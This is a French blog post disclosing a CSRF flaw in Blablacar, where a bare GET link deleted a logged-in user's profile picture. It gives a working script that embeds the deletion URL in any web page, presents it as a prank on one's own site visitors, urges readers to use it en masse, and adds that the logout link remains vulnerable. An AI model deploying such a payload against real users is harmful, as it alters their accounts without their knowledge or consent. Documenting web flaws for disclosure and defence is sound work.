Dyrk.org - Do You Really Know

Salut les z’amis :)

Petit amusement de la journée, j’étais tranquillement entrain de réfléchir … à ce que je pourrais vous écrire de beau aujourd’hui ^^

Et je me suis dit qu’une petite faille plairait à tout le monde … aussi, j’ai sorti ma tenu de chasseur, et je suis partie traquer le gros gibier ^^

Ahah, Blablacar me faisait de l’oeil depuis un certain temps …

Alors voilà, pour se protéger, Blablacar interdit l’utilisation des iframes sur certaines de ces pages …. en injectant cette « entrée » dans l’entête de ses réponses !

x-frame-options:SAMEORIGIN

Sauf que bon … ça n’interdit QUE l’usage des iframes … il n’est pas interdit d’utiliser d’autre manière de faire, pour charger des pages à distance :

<img src= »lien vers ma page« >

ou bien

<script src= »lien vers ma page« >

etc …

Blablacar, souffre d’une vulnérabilité de type « CSRF » …
Ce qui veux dire qu’elle ne contrôle pas, la provenance des actions … ni même si l’action a été faite de bon cœur, ou forcé à l’insu de l’utilisateur …

Pour ce qui est de l’image de profile Blablacar, il n’y a même pas de confirmation

« Voulez vous supprimer … ? »

Hop un lien, pas de paramètre, et votre image disparaît !!!

https://www.blablacar.fr/dashboard/profile/picture/remove

Voici donc un petit script rigolo, qui vous permettra de faire cette petite blague aux visiteurs qui viendraient sur votre site :

<script>
  BlaBlaHack = document.createElement('script');
  BlaBlaHack.setAttribute('src', "https://www.blablacar.fr/dashboard/profile/picture/remove");
  document.getElementsByTagName('html')[0].appendChild(BlaBlaHack);
</script>

Plus vous serez nombreux à l’utiliser, plus ils corrigeront rapidement ;)

Edit : 
La faille de sécurité vient d’être corrigée (cf. commentaire).
Il reste néanmoins à faire un bilan complet, des liens vulnérables.

La déconnexion de l’utilisateur par exemple:
https://www.blablacar.fr/deconnexion
Reste encore vulnérable.